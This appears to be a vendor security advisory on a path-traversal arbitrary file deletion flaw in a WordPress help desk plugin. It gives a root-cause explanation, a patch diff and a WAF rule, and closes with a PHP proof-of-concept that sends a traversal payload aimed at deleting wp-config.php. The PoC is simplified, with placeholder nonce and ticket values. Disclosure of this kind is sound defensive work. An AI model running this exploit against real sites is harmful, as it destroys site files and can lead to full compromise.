Atomic Edge analysis of CVE-2026-56054:
This vulnerability affects the JS Help Desk plugin for WordPress. It allows authenticated attackers with Subscriber-level access to delete arbitrary files on the server. The vulnerability exists in the ticket model where attachment directory handling lacks proper validation. The CVSS score is 8.8, indicating high severity.
Root Cause:
The root cause is insufficient validation of the ‘attachmentdir’ parameter in the ticket model at `/wp-content/plugins/js-support-ticket/modules/ticket/model.php`. In the vulnerable code (lines 1135-1176), the `attachmentdir` value is accepted directly from POST data without verification. The vulnerable path occurs when editing an existing ticket (line 1138 checks if `id` is set). The SELECT query on line 1155 fetches the existing attachment directory, but the code at line 1176 assigns `$jsst_data[‘attachmentdir’] = $jsst_data[‘attachmentdir’]` (from POST) instead of using the server-controlled value. The patch adds `$jsst_isedit` flag and proper path validation to prevent this.
Exploitation:
An attacker can exploit this by sending a POST request to `wp-admin/admin-ajax.php` with `action=jssupportticket` and modifying the ticket submission. The attacker specifies a crafted `attachmentdir` value containing path traversal sequences (e.g., `../../../wp-config.php`). The plugin then uses this value to construct a file path for deletion. The attacker must have a valid nonce and a ticket ID that they own. The plugin’s file deletion routine uses the unsanitized `attachmentdir` to locate and remove files, allowing deletion of critical files like `wp-config.php`.
Patch Analysis:
The patch introduces two key changes. First, it adds a database query to retrieve the existing `attachmentdir` from the tickets table (line 1155). Second, it validates that the retrieved value matches a 7-character alphabetic pattern using `preg_match(‘/^[A-Za-z]{7}$/’, …)` on line 1161. If validation fails, an error is set and the function returns false. On line 1178, the patch replaces the vulnerable assignment by using `$jsst_existing_attachmentdir` for edit cases, and `$this->getRandomFolderName()` for new tickets. This ensures the attachment directory is always server-controlled and never originates from user input.
Impact:
Successful exploitation allows an attacker to delete arbitrary files on the WordPress server. Deleting `wp-config.php` would cause the site to become non-functional and could lead to remote code execution if the attacker can create a new configuration file. Even without RCE, deleting critical plugin or core files can lead to complete site compromise or denial of service. The vulnerability requires authentication but only at the Subscriber level, making it accessible to any registered user.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/js-support-ticket/js-support-ticket.php
+++ b/js-support-ticket/js-support-ticket.php
@@ -5,7 +5,7 @@
Plugin URI: https://www.jshelpdesk.com
Description: JS Help Desk is a trusted open source ticket system. JS Help Desk is a simple, easy to use, web-based customer support system. User can create ticket from front-end. JS Help Desk comes packed with lot features than most of the expensive(and complex) support ticket system on market. JS Help Desk provide you best industry help desk system.
Author: JS Help Desk
- Version: 3.1.1
+ Version: 3.1.2
Text Domain: js-support-ticket
Domain Path: /languages
License: GPLv3
@@ -63,7 +63,7 @@
self::$jsst_data = array();
self::$_search = array();
self::$_captcha = array();
- self::$_currentversion = '311';
+ self::$_currentversion = '312';
self::$_addon_query = array('select'=>'','join'=>'','where'=>'');
self::$_jshdsession = JSSTincluder::getObjectClass('wphdsession');
global $wpdb;
@@ -143,7 +143,7 @@
// restore colors data end
update_option('jsst_currentversion', self::$_currentversion);
include_once JSST_PLUGIN_PATH . 'includes/updates/updates.php';
- JSSTupdates::checkUpdates('311');
+ JSSTupdates::checkUpdates('312');
JSSTincluder::getJSModel('jssupportticket')->updateColorFile();
JSSTincluder::getJSModel('jssupportticket')->jsst_check_license_status();
JSSTincluder::getJSModel('jssupportticket')->JSSTAddonsAutoUpdate();
--- a/js-support-ticket/modules/jssupportticket/controller.php
+++ b/js-support-ticket/modules/jssupportticket/controller.php
@@ -22,7 +22,7 @@
case 'controlpanel':
JSSTincluder::getJSModel('jssupportticket')->getControlPanelData();
include_once JSST_PLUGIN_PATH . 'includes/updates/updates.php';
- JSSTupdates::checkUpdates('311');
+ JSSTupdates::checkUpdates('312');
JSSTincluder::getJSModel('jssupportticket')->updateColorFile();
//JSSTincluder::getJSModel('jssupportticket')->getStaffControlPanelData();
break;
--- a/js-support-ticket/modules/ticket/model.php
+++ b/js-support-ticket/modules/ticket/model.php
@@ -1135,7 +1135,10 @@
}
$jsst_sendEmail = true;
+ $jsst_isedit = false;
+ $jsst_existing_attachmentdir = '';
if (isset($jsst_data['id']) && is_numeric($jsst_data['id'])) {
+ $jsst_isedit = true;
$jsst_sendEmail = false;
$jsst_updated = date_i18n('Y-m-d H:i:s');
$jsst_created = $jsst_data['created'];
@@ -1152,10 +1155,18 @@
}
}
}
- //to check hash
- $jsst_query = "SELECT hash,uid FROM `".jssupportticket::$_db->prefix."js_ticket_tickets` WHERE ticketid='".intval($jsst_data['ticketid'])."'";
+ //to check hash and keep server-side attachment folder for edit case
+ $jsst_query = "SELECT hash,uid,attachmentdir FROM `".jssupportticket::$_db->prefix."js_ticket_tickets` WHERE id=".intval($jsst_data['id']);
$jsst_row = jssupportticket::$_db->get_row($jsst_query);
+ if(empty($jsst_row)){
+ return false;
+ }
$jsst_edituid = $jsst_row->uid;
+ $jsst_existing_attachmentdir = isset($jsst_row->attachmentdir) ? $jsst_row->attachmentdir : '';
+ if($jsst_existing_attachmentdir == '' || preg_match('/^[A-Za-z]{7}$/', $jsst_existing_attachmentdir) !== 1){
+ JSSTmessage::setMessage(esc_html(__('Invalid attachment folder', 'js-support-ticket')), 'error');
+ return false;
+ }
if( $jsst_row->hash != $this->generateHash($jsst_data['id']) ){
return false;
}//end
@@ -1165,11 +1176,17 @@
$jsst_data['token'] = $this->generateTicketToken();
$jsst_data['customticketno'] = $jsst_idresult['customticketno'];
- $jsst_data['attachmentdir'] = $this->getRandomFolderName();
$jsst_created = date_i18n('Y-m-d H:i:s');
$jsst_updated = '';
}
+ // Do not trust attachmentdir from POST. It is a filesystem folder name and must stay server-controlled.
+ if($jsst_isedit == true){
+ $jsst_data['attachmentdir'] = $jsst_existing_attachmentdir;
+ }else{
+ $jsst_data['attachmentdir'] = $this->getRandomFolderName();
+ }
+
if(isset($jsst_data['assigntome']) && $jsst_data['assigntome'] == 1){
if (in_array('agent',jssupportticket::$_active_addons)) {
$jsst_uid = JSSTincluder::getObjectClass('user')->uid();
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-56054
# Block path traversal attempts in attachmentdir parameter for JS Help Desk ticket editing
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-56054 - JS Help Desk Arbitrary File Deletion via Path Traversal',severity:'CRITICAL',tag:'CVE-2026-56054',tag:'WordPress',tag:'plugin:js-support-ticket'"
SecRule ARGS_POST:action "@streq jssupportticket" "chain"
SecRule ARGS_POST:task "@streq editticket" "chain"
SecRule ARGS_POST:attachmentdir "@rx ../" "t:urlDecodeUni,t:lowercase,chain"
SecRule MATCHED_VAR "@rx ../" "t:none"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-56054 - JS Help Desk – AI-Powered Support & Ticketing System <= 3.1.1 - Authenticated (Subscriber+) Arbitrary File Deletion
// Configuration
$target_url = 'http://example.com'; // Change to target WordPress site
$username = 'attacker'; // WordPress subscriber username
$password = 'password'; // WordPress subscriber password
// Step 1: Login to WordPress
$login_url = $target_url . '/wp-login.php';
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $login_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'log' => $username,
'pwd' => $password,
'rememberme' => 'forever',
'wp-submit' => 'Log In'
]),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIEJAR => '/tmp/cookies.txt',
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_SSL_VERIFYPEER => false
]);
curl_exec($ch);
// Step 2: Get the AJAX nonce and ticket ID
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'action' => 'jssupportticket',
'task' => 'getticket' // Obtain a valid ticket ID
]));
$response = curl_exec($ch);
// Parse response to get a valid ticket ID (simplified - you need to extract it from the site's structure)
// For demonstration, assume we have a ticket with ID 1
// Step 3: Exploit the vulnerability
// This PoC demonstrates the vulnerability by attempting to delete wp-config.php
// The vulnerable parameter is 'attachmentdir' which should contain path traversal
$payload = array(
'action' => 'jssupportticket',
'task' => 'editticket',
'id' => 1, // Valid ticket ID the attacker has access to
'ticketid' => 'JS1', // Ticket number
'subject' => 'Test',
'message' => 'Test message',
'attachmentdir' => '../../../wp-config', // Path traversal payload
'_wpnonce' => '1234567890' // Nonce from the page
);
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$exploit_response = curl_exec($ch);
echo "Exploit response: " . $exploit_response . "n";
// Check if wp-config.php was deleted
$config_check = curl_init();
curl_setopt($config_check, CURLOPT_URL, $target_url . '/wp-config.php');
curl_setopt($config_check, CURLOPT_NOBODY, true);
curl_setopt($config_check, CURLOPT_RETURNTRANSFER, true);
curl_exec($config_check);
$http_code = curl_getinfo($config_check, CURLINFO_HTTP_CODE);
if ($http_code == 404) {
echo "[+] Target wp-config.php may have been deleted (HTTP 404)n";
} else {
echo "[-] Target wp-config.php still exists (HTTP $http_code)n";
}
curl_close($ch);
curl_close($config_check);
echo "[+] Exploit completed. Check if the site is broken.n";